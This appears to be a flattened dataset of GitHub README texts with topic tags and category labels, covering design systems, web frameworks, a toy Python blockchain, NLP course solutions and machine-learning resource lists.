ui https chakra ui com octocat https github com chakra ui chakra ui city of boston fleet https patterns boston gov octocat https github com cityofboston digital cloudflare https cloudflare github io cf ui octocat https github com cloudflare cf ui co op design manual https coop design manual herokuapp com octocat https github com coopdigital design system contentful forma 36 https f36 contentful com octocat https github com contentful forma 36 decathlon design system vitamin https decathlon design octocat https github com decathlon vitamin web decentraland ui https ui decentraland org octocat https github com decentraland ui duet https www duetds com duolingo https design duolingo com ebay skin https ebay github io skin octocat https github com ebay skin elastic ui framework https elastic github io eui octocat https github com elastic eui engie fluid design system https www engie design enigma boundless https boundless js org octocat https github com enigma io boundless estonia country design guidelines https brand estonia ee evergreen https evergreen surge sh octocat https github com segmentio evergreen figma ui components https figma ui lessmess dev octocat https github com lessmess dev figma ui components financial times origami https origami ft com octocat https github com financial times origami finastra design system https design fusionfabric cloud octocat https github com fusionfabric finastra design system finland toolbox https toolbox finland fi firefox photon design system https design firefox com photon octocat https github com firefoxux photon fish tank design system https fishtank bna com octocat https github com bloombergindustry fishtank vue flame design system santander https bancosantander invisionapp com dsm santander group flame ds santander flowbite design system https www figma com community file 1179442320711977498 octocat https github com themesberg flowbite fluent ui https developer microsoft com en us fluentui octocat https github com microsoft fluentui foundation https get foundation octocat https github com foundation foundation sites foyer design system https design foyer lu closed lock with key futurelearn pattern library https www futurelearn com pattern library github primer https primer style octocat https github com primer gitlab design system pajamas https design gitlab com fox face https gitlab com gitlab org design gitlab com goodbarber design system https www goodbarber com uxdesign google material design https material io guidelines introduction goals octocat https github com material components material components gov uk design system https www gov uk design system octocat https github com alphagov govuk design system gympass yoga https gympass github io yoga octocat https github com gympass yoga halstack https developer dxc com design guidelines principles overview octocat https github com dxc technology halstack style guide hashicorp helios https helios hashicorp design octocat https github com hashicorp design system help scout https style helpscout com octocat https github com helpscout seed framework heroku purple3 https design herokai com hewlett packard grommet https grommet github io octocat https github com grommet grommet hubspot canvas https canvas hubspot com octocat https github com hubspot canvas hudl design system https uniform hudl com ibm carbon https www carbondesignsystem com octocat https github com ibm carbon components ibm design language https www ibm com design language ibm northstar https www ibm com standards web intuit harmony https designsystem quickbooks com jetbrains ring ui https jetbrains github io ring ui octocat https github com jetbrains ring ui jobber https atlantis getjobber com atlantis octocat https github com getjobber atlantis jotads https jota meiuca co octocat https github com meiuca jota ds react kaizen https cultureamp design octocat https github com cultureamp kaizen design system kalo ui https kalo design octocat https github com kalohq ui kiwi com orbit https orbit kiwi octocat https github com kiwicom orbit components kolibri https public ui github io public ui octocat https github com public ui kolibri kontur https guides kontur ru octocat https github com skbkontur retail ui latitude https www flexport com design octocat https github com flexport latitude lexicon https lexicondesign io lost my name design system http design system lostmy name louder than ten manual https www louderthanten com manual mail ru group paradigm https design mail ru mailchimp content styleguide https styleguide mailchimp com mailchimp patterns https ux mailchimp com patterns mantine https mantine dev octocat https github com mantinedev mantine marvel styleguide https marvelapp com styleguide meetup swarm https meetup github io swarm design system octocat https github com meetup swarm design system mesh design system https www meshdesignsystem com mesosphere cnvs https mesosphere github io cnvs octocat https github com mesosphere cnvs microsoft fluent https www microsoft com design fluent octocat https github com microsoft fluentui mixpanel design system https design mixpanel com mongodb design system http mongodb design octocat https github com mongodb design monzo tone of voice https monzo com tone of voice morningstar design system http designsystem morningstar com mozilla protocol https protocol mozilla org octocat https github com mozilla protocol nasa web design system https nasa github io nasawds site octocat https github com nasa nasawds nationbuilder radius https www nationbuilder design nhs uk service manual https service manual nhs uk netapp luci https luci netapp com nordhealth https nordhealth design nordnet https brand nordnet se nutanix https docs ntnx design okta odyssey design system https odyssey okta design octocat https github com okta odyssey opattern https ux opower com opattern oracle alta ui https www oracle com webfolder ux middleware alta index html oracle redwood https redwood oracle com patternfly https www patternfly org v4 octocat https github com patternfly persona design system https privy open source github io design system octocat https github com privy open source design system pharos jstor s design system https pharos jstor org octocat https github com ithaka pharos pinterest gestalt https pinterest github io gestalt octocat https github com pinterest gestalt pivotal https styleguide pivotal io octocat https github com pivotal cf pivotal ui pluralsight design system https design system pluralsight com octocat https github com pluralsight design system priceline design system https priceline github io design system octocat https github com priceline design system pulse design system https pulse heartbeat ua octocat https github com heartbeatua pulse boilerplate pusher chameleon https pusher github io chameleon octocat https github com pusher chameleon radix https radix modulz app docs getting started octocat https github com modulz radix rambler https rambler digital solutions github io rambler ui octocat https github com rambler digital solutions rambler ui reach ui https reach tech octocat https github com reach reach ui rendition https balena io modules github io rendition octocat https github com balena io modules rendition salesforce lightning design system https www lightningdesignsystem com octocat https github com salesforce ux design system sap fiori https experience sap com fiori design sap fundamental https github com sap fundamental octocat https github com sap fundamental sap openui https github com sap openui5 octocat https github com sap openui5 scania digital design system https digitaldesign scania com home octocat https github com scania digital design system sdds seeds https sproutsocial com seeds seek style guide https seek oss github io seek style guide octocat https github com seek oss seek style guide semi design https semi design en us octocat https github com douyinfe semi design semrush intergalactic design system https i semrush com octocat https github com semrush intergalactic shopify polaris https polaris shopify com octocat https github com shopify polaris siemens ix https ix siemens io octocat https github com siemens ix singapore government design system https www designsystem tech gov sg octocat https github com govtechsg sgds sky toolkit https www sky com toolkit octocat https github com sky uk toolkit stacks stack overflow https stackoverflow design octocat https github com stackexchange stacks starbucks style guide https www starbucks com static reference styleguide teambition clarity design https design teambition com telef nica m stica https brandfactory telefonica com mistica octocat https github com telefonica mistica thumbprint https thumbprint design octocat https github com thumbtack thumbprint tizen circularui https developer samsung com one ui watch tizen octocat https github com samsung tizen circularui twilio paste https paste twilio design octocat https github com twilio labs paste uber s base web https baseweb design octocat https github com uber web baseui ubuntu vanilla framework https vanillaframework io octocat https github com canonical web and design vanilla framework uspto ui design library https uspto github io designpatterns index html octocat https github com uspto designpatterns uswitch style guide https ustyle guide octocat https github com uswitch ustyle u s web design standards https designsystem digital gov octocat https github com uswds uswds u s cms gov design system https design cms gov vimeo design system https vimeo github io iris octocat https github com vimeo iris vmware clarity design system https clarity design octocat https github com vmware clarity vtex styleguide https styleguide vtex com octocat https github com vtex styleguide vue design system https vueds com octocat https github com viljamis vue design system ray by wework https ray wework com octocat https github com wework ray welcome ui http www welcome ui com octocat https github com wttj welcome ui west midlands network design system https designsystem wmnetwork co uk octocat https github com wmcadigital wmn design system wix style react https www wix style react com storybook vercel https vercel com design workday canvas https design workday com octocat https github com workday canvas kit yelp styleguide https www yelp com styleguide zendesk garden https garden zendesk com octocat https github com zendeskgarden materialize css https materializecss com octocat https github com dogfalo materialize material minimal https material minimal com octocat https github com mdbootstrap mdb ui kit notes projects marked as open source may not always be open to use always check the license of these projects before using them although design systems ui libraries and pattern libraries are different things they are often used interchangeably this list contains all three credits cover icon solar system by andrejs kirma from the noun project | awesome-list design-systems pattern-library ui-library awesome hacktoberfest | os |
Amadeus-Inspiration-Search-Angular-NodeJs | amadeus inspiration search angular nodejs it is an angular11 app with nodejs in backend for the development of flight search using amadeus api bootstrapping of front end after cloning of project cd frontend npm install cd src ng serve bootstrapping of back end after cloning of project cd server npm install cd src node server js or nodemon server js | server |
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iphp | app classes config console controllers models views css fonts js deploy sh server sh index php tools new app php php iphp framework tools new app php app name myfirstapp app domain localhost app php fpm port 9000 generate app into users ideawu works iphp tmp myfirstapp done sh deploy sh dev sh server sh restart nginx app app php nginx conf nginx location try files uri uri index php args index php 404 my location my try files uri uri my index php args demo app config nginx conf location location app logs deny all location sh sql conf key crt csr deny all location gif png jpg ico svg css js ttf woff eot try files uri uri index php args nginx conf index index php url project url path controller view url controoler action view url my my a b c url a b c url a b c controller a b php a b c php a b c index php action index c view a b c tpl php a b c tpl php a b c index tpl php layout layout php view view layout tpl php iphp view views path controller aaction view full url about about php aboutcontroller index about tpl php http localhost iphp about about us about php aboutcontroller us about us tpl php http localhost iphp about us about job about job php jobcontroller index about job tpl php http localhost iphp about job api test api test php testcontroller index none http localhost iphp api test | front_end |
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nlp-probabilistic-models | natural language processing with probabilistic models coursera deeplearning ai course list https img shields io badge also 20see other 20coursera 20courses 1f72ff svg https github com anishlearnstocode course list specialization https img shields io badge specialization natural 20language 20procesing 1f72ff svg https github com anishlearnstocode nlp deeplearning ai platform https img shields io badge platform coursera 1f008f svg https www coursera org learn probabilistic models in nlp index week 1 week 1 week 2 week 2 week 3 week 3 week 4 week 4 certificate certificate week 1 lab building the vocabulary week 1 building the vocabulary ipynb lab candidates from edits week 1 candidates from edits ipynb levenshtein distance algorithm week 1 minimum edit distance py programming assignment autocorrect week 1 assignment auto correct ipynb week 2 lab working with text data creating vocabulary and handling unknown words week 2 creating vocabulary and handling unknown words ipynb lab working with tags numpy week 2 working with tags and numpy ipynb programming assignment part of speech tagging using viterbi algorithm week 2 assignment viterbi algorithm ipynb week 3 lab corpus preprocessing for n grams week 3 n gram corpus preprocessing ipynb lab building the language model week 3 building the language model ipynb lab out of vocabulary words week 3 out of vocabulary words ipynb programming assignment autocomplete week 3 assignment autocomplete using n grams ipynb week 4 lab data pre processing week 4 data pre processing ipynb lab activation functions week 4 activation functions ipynb lab training the cbow continuous bag of words model week 4 training the cbow model ipynb lab word embeddings week 4 word embeddings ipynb lab word embeddings the full pipeline week 4 word embeddings full pipeline ipynb programming assignment word embeddings week 4 assignment word embeddings ipynb certificate https coursera org verify pgmhy4ycg85g certificate assets certificate png | solutions solutions-repo solutions-repository nlp natural-language-processing coursera coursera-solutions | ai |
Embedded_Programing_Arduino_C_2023B | embedded programing arduino c 2023b open source embedded system development platform course ariel university is designed to teach software engineering students with a java background the art of embedded programming with arduino uno that has gained huge amount of popularity in past few years specially among hobbyists implementation in c | os |
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web-development-contract | web development contract this is the boilerplate i use for web development contracts feel free to use it in your own work contribute to the discussion by bringing up issues | front_end |
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chatting-back-end | chatting back end https flyn chattin herokuapp com the backend for a simple anonymous chatting app to learn full stack web development hosted with heroku now written in ts check out the frontend repository chatting front end https github com flyn nick chatting front end | mongodb backend | server |
front-end-system-design | front end system design a checklist for front end system design requirements how many users where are users distributed what is our frame budget do we need to support mobile offline support internationalization accessibility browser targets architecture mvc mvw container component architecture data flow model two way data binding vs unidirectional data flow component tree design system walkthrough performance patterns fast initial load time app shell architecture ssr caching rehydrate application state from prev cached state assets route based code splitting minification dead code stripping network lazy vs eager loading service worker caching api requests compute webgl webassembly webworkers sharedarraybuffer ui optimistic ui virtual list examples design a facebook messenger client design a gigapixel client design the uber client design the twitter newsfeed design the google docs client design a performance dashboard for a client side app readings facebook bigpipe https www facebook com notes facebook engineering bigpipe pipelining web pages for high performance 389414033919 making slack faster by being lazy https slack engineering making slack faster by being lazy 88da4481baa7 design an image hosting platform http www aosabook org en distsys html | os |
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Koko | koko optical design software kods koko is raytracing software for the design and analysis of optical imaging and illumination systems koko has evolved from the optics design program kdp 2 that was made open source by its original developer james e klein see kdp license the software provides the tools needed to design analyze and fabricate complex optical systems focal and afocal optical systems with decenters and tilts paraxial raytracing sequential and non sequential raytracing spherical aspheric diffractive and user defined surfaces multi configuration raytracing zoom lenses interferometers etc spot diagrams wavefront and aberration analysis glass data from ohara schott hoya corning cdgm test plate libraries lens fabrication drawings lens optimization tolerance analysis macro language user interfaces koko has a command line interface a table based graphical user interface that will be familiar to users of commercial optics design programs is under development a longer term plan is to integrate koko into a workbench for freecad https freecadweb org this will enable a more object oriented approach to optics design and will also provide an integrated optical and mechanical design capability copying koko is distributed under the gnu public license version 3 manual and tutorials are distributed under the gnu free documentation license some source files have different gpl compatible licenses details can be found in the file license koko mascot artwork koko mascot png | optics raytracing ray-tracing | os |
car-lease-demo | car lease demo deprecated this demonstration is now deprecated and cannot be deployed automatically the demonstration was created for the blockchain starter plan service which uses hyperledger fabric version 0 6 1 the starter plan service is in the process of being retired an announcement https www ibm com blogs bluemix 2017 07 ibm blockchain starter plan retirement is available about the starter plan retirement deploying the demo to deploy the demo locally follow the instructions here documentation installation 20guide md deploying locally application overview this application is designed to demonstrate how assets can be modeled on the blockchain using a car leasing scenario in the scenario vehicles are modeled using blockchain technology with the following attributes attribute type v5cid unique string formed of two chars followed by a 7 digit int used as the key to identify the vehicle vin 15 digit int make string model string colour string reg string owner identity of participant scrapped boolean status int between 0 and 4 leasecontractid chaincodeid currently unused but will store the id of the lease contract for the vehicle the application is designed to allow participants to interact with the vehicle assets creating updating and transferring them as their permissions allow the participants included in the application are as follows participant permissions regulator create read all vehicles transfer manufacturer read own vehicles update vin make model colour reg transfer dealership read own vehicles update colour reg transfer lease company read own vehicles update colour reg transfer leasee read own vehicles update colour reg transfer scrap merchant read own vehicles scrap the demonstration allows a view of the ledger that stores all the interactions that the above participants have has with their assets the ledger view shows the regulator every transaction that has occurred showing who tried to to what at what time and to which vehicle the ledger view also allows the user to see transactions that they were involved with as well as showing the interactions with the assets they own before they owned them e g they can see when it was created note the demo currently does not include the ability to lease cars however shows the process of what would happen once the lease has ended and the final payment has been made showing the lease company transferring full ownership of the asset to the leasee application scenario the scenario goes through the lifecycle of a car which has the following stages application scenario overview images scenario overview png stages 1 vehicle is created as a template by the regulator 2 vehicle template is transferred to the manufacturer 3 manufacturer updates the vehicle template to define it as a vehicle giving it a make model reg etc 4 manufacturer transfers the vehicle to dealership to be sold 5 dealership transfers the vehicle to a lease company 6 lease company transfers the vehicle to a leasee the vehicle is not leased instead the application is showing what would happen if the lease were to have come to an end and the leasee activated the purchase option 7 leasee transfers the vehicle to a scrap merchant so that it can be scrapped 8 scrap merchant scraps the vehicle component model the demo is built using a 3 tier architecture the user interacts with the demo using a web front end documentation client 20side md that is provided by the nodejs server in the middle tier this web front end uses javascript to make http requests to the nodejs server which has an api defined here documentation api methods md which in turn makes calls via http to the hyperledger fabric to get details about the blockchain and also interact with the chaincode chaincode src vehicle code vehicles go information on the chaincode interface can be found here documentation chaincode interface md technical component model images technical component model png | blockchain |
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EMBEDDED-SYSTEMS-LAB-CS-1653- | embedded systems lab cs 1653 spectrum for this is wide enough and will cover lot of the embedded technologies lying in currently in real world digital system design using logic elements is one part of lab next will be working with microcontrollers 8051 pic cortex m or arm amp else assignments concerning design of some real time systems either with processor controllers or asic technology are added portion next thing covered will be fpga with programming in hdl vhdl or verilog working with technologies will involve interfacing with real ti me environment through sensors and actuators intent of this will be to give real view of embedded technologies and applications leading to robotics and mechatronics | os |
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beapi-frontend-framework | be api github banner github banner github png https beapi fr beapi frontend framework maintenance https img shields io badge maintained 3f yes green svg https github com naereen strapdown js graphs commit activity node js ci https github com beapi beapi frontend framework workflows node js 20ci badge svg branch master what is be api frontend framework be api frontend framework bff is a friendly front end wordpress theme boilerplate to help you to start your own wordpress theme with modern tools main tools webpack 5 https webpack js org js css and assets are built with webpack esbuild loader https github com privatenumber esbuild loader for esnext typescript transpilation eslint https eslint org for js code style stylelint https stylelint io for css code style cssnano https cssnano co for css optimization postcss preset env https github com csstools postcss preset env for modern css properties compatibility postcss px to rem https github com cuth postcss pxtorem to automatically convert px units to rem postcss sort media queries https github com solversgroup postcss sort media queries to combine multiple similar medie queries declarations svgo svgo loader for svg optimization image webpack loader image webpack loader for images optimization browser sync https browsersync io to test your project on different devices requirements composer you need composer to autoload all your classes from the inc folder use the beapi composer scaffold theme package that add it automatically to the composer json file you can add it yourself like this composer json autoload psr 4 bea theme framework content themes framework inc autoload the autoload is based on psr 4 and handled by composer node 12 you need a minimum of node 12 version 14 is recommended installation download the latest release of bff here https github com beapi beapi frontend framework releases and extract the zip archive into your themes wordpress s folder bash wp admin wp content plugins themes beapi frontend framework uploads wp includes of course you can rename beapi frontend framework to define your wordpress theme s name next go to your theme folder in the following example i didn t rename beapi frontend framework with your favorite term software bash cd wp content themes beapi frontend framework then install node dependencies with yarn bash yarn alternatively you can use npm bash npm install configuration the configurations files are in config directory webpack you can find the common webpack settings file in webpack common js for development mode purpose you can edit webpack dev js file and for production mode you can edit webpack prod js you also have the loaders in loaders js file and webpack s plugin in plugins js file babel you can find a babelrc file to modify babel configuration eslint you can find a eslintrc file to modify eslint configuration how to use bff after installing dependencies you can run some commands which are explained below start with browser sync bff is configured to work with lando https lando dev if you have a lando yml file in your project s root set the path to your file in the browsersync config js file js let filecontents fs readfilesync lando yml utf8 then run the following command from the theme bash yarn start browsersync will proxy your lando server based on the name defined in your lando yml build bash yarn build bundle report you can launch a bundle report with the following command bash yarn bundle report | wordpress wordpress-theme framework frontend starter-theme | front_end |
teia-ui | teia ui size of the repository https img shields io github languages code size teia community teia ui style flat square https github com teia community teia ui number of opened issues https img shields io github issues teia community teia ui style flat square color blue https github com teia community teia ui issues number of opened prs https img shields io github issues pr teia community teia ui style flat square color blue https github com teia community teia ui pulls license https img shields io github license teia community teia ui style flat square color black license website status https img shields io website style flat square url https 3a 2f 2fteia art https teia art deployment https img shields io endpoint style flat square url https 3a 2f 2fmelmassadian npkn net 2fteia commit 2f https github com teia community teia ui commits main this repository is the frontend code of the open community owned tezos nft platform teia art https teia art teia is a fork of the tezos nft platform hic et nunc https www hicetnunc xyz build by the teia community for the teia community with accessibility sustainability decentralization and equity in mind read more about teia s core values wiki https github com teia community teia docs wiki core values code of conduct terms and conditions 1 core values find further info and documentation on the teia wiki https github com teia community teia docs wiki install native bash git clone https github com teia community teia ui git cd teia ui npm install npm start or with docker compose bash git clone https github com teia community teia ui git cd teia ui docker compose up d article about setting up a clone mirror of teia wiki https github com teia community teia docs wiki how to set up a teia mirror contributing article about contributing to the teia code wiki https github com teia community teia docs wiki contribute to the teia code code of conduct code of conduct https github com teia community teia docs wiki core values code of conduct terms and conditions 2 code of conduct terms conditions https github com teia community teia docs wiki core values code of conduct terms and conditions 3 terms and conditions account restrictions license mit license see license license | cleannft tezos react objkt open-source tezos-blockchain | front_end |
cloudeng.github.io | huit cloud engineering blog this repo contains the cloud hacks blog of the cloud engineering team within huit harvard univerisity it it s built using jekyll http jekyllbootstrap com and hosted via s3 at this time at the url http cloudhacks huit harvard edu the jekyll readme is here jekyll readme md all the actual content is in the gh pages branch to be consistent with github s automatic page generation https help github com articles creating pages with the automatic generator info on building and updating the blog is self referentially blogged about here http cloudhacks huit harvard edu howto 2013 10 24 how to create a post html the more gory details about using jekyll and hosting on s3 described here http cloudhacks huit harvard edu 2013 10 21 how i made this blog html | cloud |
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blockchain-python | https github com carlos zen blockchain python blob master readme zh md blockchain python a blockchain implementation in python only for study the blockchain python implements simple blockchain and transactions currently the implementation already has mining transaction communication between nodes and file persistence of blocks and transactions the communication between nodes is via rpc based on http rather than p2p network because the implementation of p2p is more complicated it is too complicated to understand the framework of blockchain the verification based on cryptography has not yet been realized and the verification of blocks between nodes and the verification of transactions have not yet been realized installation 1 make sure python 3 6 https www python org downloads is installed 2 git clone git clone https github com carlos zen blockchain git cd blockchain usage create account python console account create run the miner python console miner start 3008 transaction transfer python console tx transfer from address to address amount transaction list python console tx list blockchain shows python console blockchain list node network copy the code resource to a new directory while the miner before was running then cd another blockchain directory python console node add 3008 python console node run 3009 when a new block mined block and transactions will broadcast to other nodes all command use like this python console module action params such as python console tx list module action params desc account create noneed create new account account get noneed show all account account current noneed the miner reward account miner start ip port port such as 3008 or 127 0 0 1 3008 node run ip port port such as 3008 or 127 0 0 1 3008 node list noneed show all node that will broadcast to node add ip port add a node that will broadcast to tx transfer from address to address amount transfer coin from from address to to address tx list noneed show all transactions introduce about block the blockchain is a data structure that is linked sequentially from back to forward by blocks containing transaction information sha256 cryptographic hashing is performed on each block header to generate a hash value a bitcoin block is as follows size 43560 version 2 previousblockhash 00000000000000027e7ba6fe7bad39faf3b5a83daed765f05f7d1b71a1632249 merkleroot 5e049f4030e0ab2debb92378f53c0a6e09548aea083f3ab25e1d94ea1155e29d time 1388185038 difficulty 1180923195 25802612 nonce 4215469401 tx 257e7497fb8bc68421eb2c7b699dbab234831600e7352f0d9e6522c7cf3f6c77 many more transactions omitted 05cfd38f6ae6aa83674cc99e4d75a1458c165b7ab84725eda41d018a09176634 a blockchain is a linked list structure of blocks the essence of mining is a new block based on existing information such as parent block hash timestamp transaction merkle hash plus a nonce number from 0 a sha256 representation string is generated after the connection if the preceding digits start with several zeroes the number of zeros is the difficulty of mining and half is dynamically adjusted based on the remaining number and the generation speed of the previous block such as 00000000000000027e7ba6fe7bad39faf3b5a83daed765f05f7d1b71a1632249 successful mining block generation about blockchain python block blockchain python simplified block structure a blockchain python block data is as follows index 7 timestamp 1528972070 tx b959b3d2099ca304c67087edbf05b79d1f2501b1f407df5e51a1a8c22bb3334d 613e4af7266e01ea338d30681ef606bad26e4cdfa4ec7a6f431e22420c8291fd be7095a764cb241606a67c9064bc8dbc2da2370d49459bd492473ea5ce304cb3 previous block 00003e17e04d9c9d2c2f5629de20bda58f59af36417a7e50eb77a74a028b026a nouce 11063 hash 00006805c75d0db1685616d9ea5730f6203eda744a16fcc78ef1f3c244083ea4 the calculation of block hash is roughly the same as that of bitcoin our difficulty setting is relatively low so the hash in front of this block has only 4 zeros this is for easier mining to understand the principle and generally can be produced in a few seconds one block in addition bitcoin s tx field represents the root node hash of the merkle tree that consists of the transaction hash for simplicity we put it directly into the array of transaction hash about miner the sha256 used by the mining algorithm bitcoin s algorithm is based on the block header nouce a number as a string simple blockchain simplifies the header information but the mechanism and bitcoin are constant the blockchain is stored locally in the file in json format the generation of a block is related to the transaction information so the block information is also stored when the block is stored there will be rewards for mining and the reward will be recorded as the first transaction in the blockchain rewards for mining are rewarded by the generated block itself the miner also gets the amount entered for all transactions in the block the amount of money that was exported there will be some sorting rules for the transactions to be certified sorting according to the block age transaction fee transaction amount etc we simplified the implementation and only implemented rewards the reward will be awarded to the current account if the current account does not exist please generate an account through the following command line python console account create about network the blockchain network is a p2p peer to peer end to end network we use python s own rpc mechanism for simplification different nodes can be connected by adding node operations unicom s nodes will automatically spread new transaction information the new node will synchronize all the data of other node s blockchain while ensuring the maximum chain digging out new blocks will notify other nodes to synchronize about transaction bitcoin uses the utxo model and does not directly exist in the concept of balance the balance needs to be obtained by traversing the entire transaction history we also implement this mechanism a transaction is a combination of some input and output in our transaction we accept multiple inputs and generate multiple outputs the calculation of the balance is made through the unconsumed verified transaction output the output of the consumer transaction which is commonly known as utxo transactions not placed in new block will be broadcast to all nodes waiting to be verified after waiting for the miner to dig into a new block the trade will be saved as transaction information in the transaction database the correctness check of the transaction is under development contributing contributions are welcome please feel free to submit a pull request | python simple rpc bitcoin block blockchain-technology blockchain | blockchain |
siwan.github.io | siwan github io information technology in siwan | server |
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MachineLearning | machine learning resources https pan baidu com s 1hscnaqc https datawhalechina github io pumpkin book https mp weixin qq com s biz mziwotc2mtuymg mid 2247488439 idx 1 sn df51b67ac2a42fe1a8417a7e4d308b8b chksm 976fb62aa0183f3c8cfbfcf2c1613aa3a168f782bc5b439aa2a5db9574a33f678a081a1d24a5 mpshare 1 scene 1 srcid 0409hgawjfxz2lzgtnitpakh key 12a4c5f4665589b6914fa6a60a7fe4bd6a4fc4855ac8967b945678646a60c26482467697a46b85e85c7a6a7d564aac41d6c0312307a7f95ba299d3b3cf8433f9a159f999d9484534452672dbdd9fd270 ascene 1 uin njmzmjqzmtyw devicetype windows 10 version 62060739 lang zh cn pass ticket cihr0havtnkzivwfnrq2 2bwhir8ovckct9tarvfips5swtyyqkmlgobt 2bitsffrll https pan baidu com s 1df2b4jf https github com wendesi lihang book algorithm python https pan baidu com s 1gfzv7pl http speech ee ntu edu tw tlkagk courses html http jd92 wang tlbook domain adaptation https github com jindongwang transferlearning tree master code deepda domain generalization https github com jindongwang transferlearning tree master code deepdg https github com jindongwang transferlearning kaggle https www kaggle com competitions sortby deadline group all page 1 pagesize 20 segment gettingstarted kaggle kaggle https zhuanlan zhihu com p 25686876 https www kaggle com annavictoria ml friendly public datasets notebook prml https github com ctgk prml python https github com lawlite19 machinelearning python machine learning yearning https pan baidu com s 10koskx6rdgus4tpejy frw https github com exacity deeplearningbook chinese http lamda nju edu cn weixs book cnn book html seglearn https dmbee github io seglearn index html cv https zhuanlan zhihu com p 31430602 https github com exacity deeplearningbook chinese http www dlworld cn yejiedongtai 4385 html http dataunion org 29975 html machine learning surveys https github com metrofun machine learning surveys tensorflow https github com aymericdamien tensorflow examples http abunchofdata com datasets for natural language processing learning machine learning six articles you don t want to miss http www ibmbigdatahub com blog learning machine learning six articles you don t want miss getting started with machine learning documented by github https github com collections machine learning deep learning https github com christoschristofidis awesome deep learning reinforcement learning https github com aikorea awesome rl transfer learning https github com jindongwang transferlearning distributed learning system https github com theanalyst awesome distributed systems computer vision machine vision https github com jbhuang0604 awesome computer vision natural language procesing https github com nativeatom naturallanguageprocessing bioinfomatics https github com danielecook awesome bioinformatics activity recognition https github com jindongwang activityrecognition multi agent http ddl escience cn f ilki prerequisite https metacademy org mit https github com zlotus notes linear algebra the probability and statistics cookbook http statistics zone python learn x in y minutes https learnxinyminutes com docs python python https www springboard com learning paths machine learning python markdown mastering markdown https guides github com features mastering markdown markdown is a easy to use writing tool on the githu r r tutorial http www cyclismo org tutorial r python matlab cheat sheet http ddl escience cn f idkq numpy scipy pandas matlab matplotlib python tensorflow https www tensorflow org scikit learn http scikit learn org pytorch http pytorch org keras https keras io mxnet http mxnet io https github com chinakook awesome mxnet caffe http caffe berkeleyvision org caffe2 https caffe2 ai java deeplearning4j https deeplearning4j org matlab neural network toolbox https cn mathworks com help nnet index html deep learning toolbox https cn mathworks com matlabcentral fileexchange 38310 deep learning toolbox notes https github com allmachinelearning machinelearning blob master notes survey readme md 200 https zhuanlan zhihu com p 26136757 https github com allmachinelearning machinelearning blob master notes mlmaterials md mit introduction to machine learning http ddl escience cn f iwtu https github com allmachinelearning machinelearning blob master notes fieldresearchinchina927 104 pdf https github com jindongwang hci https github com allmachinelearning machinelearning blob master notes e4 ba ba e6 9c ba e4 ba a4 e4 ba 92 e4 b8 8e e5 88 9b e4 b8 9a e8 ae ba e5 9d 9b md https github com allmachinelearning machinelearning blob master notes e8 81 8c e5 9c ba e6 9c ba e5 99 a8 e5 ad a6 e4 b9 a0 e5 85 a5 e9 97 a8 md http mt sohu com 20170326 n484898474 shtml prof zhihua zhang https github com allmachinelearning machinelearning blob master notes distance 20and 20similarity md course and talk machine learning https www csie ntu edu tw yvchen f106 adl index html 30 http www datasciencecentral com profiles blogs neural networks for machine learning https www coursera org learn machine learning andrew ng neural networks for machine learning https www coursera org learn neural networks coursera geoffrey hinton stanford cs 229 http cs229 stanford edu materials html andrew ng notes cs229 https github com kivy cn stanford cs 229 cn cmu 10 702 statistical machine learning http www stat cmu edu larry sml larry wasserman rkhs reproducing kernel hilbert space cmu 10 715 advanced introduction to machine learning https www cs cmu edu epxing class 10715 cmu phd https www coursera org course ntumlone https www coursera org instructor htlin https www coursera org course ntumltwo https www coursera org instructor htlin machine learning for data analysis https www coursera org learn machine learning data analysis coursera wesleyan data analysis and interpretation max planck institute for intelligent systems t bingen 2013 https www youtube com playlist list plqjm7rc5 exfv6rxapzzzlzo93hl0v91e 2015 live https www zhihu com lives 792423196996546560 https www zhihu com lives 819543866939174912 machine learning feifei li cs231n http cs231n stanford edu feifei li google https zhuanlan zhihu com p 21930884 cs224n natural language processing http cs224n stanford edu course instructors chris manning richard socher machine learning cs 294 deep reinforcement learning fall 2017 http rll berkeley edu deeprlcourse course instructors sergey levine john schulman chelsea finn ucl course on rl http www0 cs ucl ac uk staff d silver web teaching html cs234 reinforcement learning http web stanford edu class cs234 index html reference book hands on machine learning with scikit learn and tensorflow https my pcloud com publink show code xz9ev77zk2l6xcmtfihhm7mrkayhisb6sl3k the elements of statistical learning the elements of statistical learning pdf http ddl escience cn ff emzh https book douban com subject 26708119 prof zhihua zhou https book douban com subject 10590856 dr hang li kindle http ddl escience cn f iwwe python python python python python python python python 2 python jan erik solem python python python julien danjou python python python3 cookbook willi richert amp luis pedro coelho 2 matthew kirk https mega nz f wvalgl6b mqijyotjiqno4jbgvlriwa algebra michael artin algebra serge lang basic topology m a armstrong convex optimization by stephen boyd lieven vandenberghe functional analysis by walter rudin functional analysis sobolev spaces and partial differential equations by haim brezis graph theory j a bondy u s r murty graph theory reinhard diestel inside interesting integrals pual j nahin linear algebra and its applications gilbert strang linear and nonlinear functional analysis with applications philippe g ciarlet mathematical analysis i vladimir a zorich mathematical analysis ii vladimir a zorich mathematics for computer science eric lehman f thomson leighton alber r meyer matrix cookbook the kaare brandt petersen michael syskind pedersen measures integrals and martingales rene l schilling principles of mathematical analysis walter rudin probabilistic graphical models principles and techniques daphne koller nir friedman probability theory and examples rick durrett real and complex analysis walter rudin thomas calculus george b thomas adrian banner packt http ddl escience cn f is4a learning data mining with python matplotlib for python developers machine learing with spark mastering r for quantitative finance mastering matplotlib neural network programming with java python machine learning r data visualization cookbook r deep learning essentials r graphs cookbook second edition d3 js by example data analysis with r java deep learning essentials learning bayesian models with r learning pandas python parallel programming cookbook machine learning with r miscellaneous http forum ai100 com cn https www jiqizhixin com https jizhi im index how to contribute fork pull git paper upload https my pcloud com page puplink code 4e9z0vwpmfzvx0y2oqtttmzkrruz8q9v download https my pcloud com publink show code kzwtbozbddvguchgv49qkmlllinpjrmhrfx github http hucaihua cn 2016 12 02 github cooperation fork https jinlong github io 2015 10 12 syncing a fork contributors https github com allmachinelearning machinelearning blob master contributors md | machinelearning artificial-intelligence datamining deep-learning | ai |
COS-435-Cautious-Slugs | cos 435 cautious slugs this is the repository for the the team cautious slugs who are working on a database scrubber and technical paper for cos 435 information privacy engineering | server |
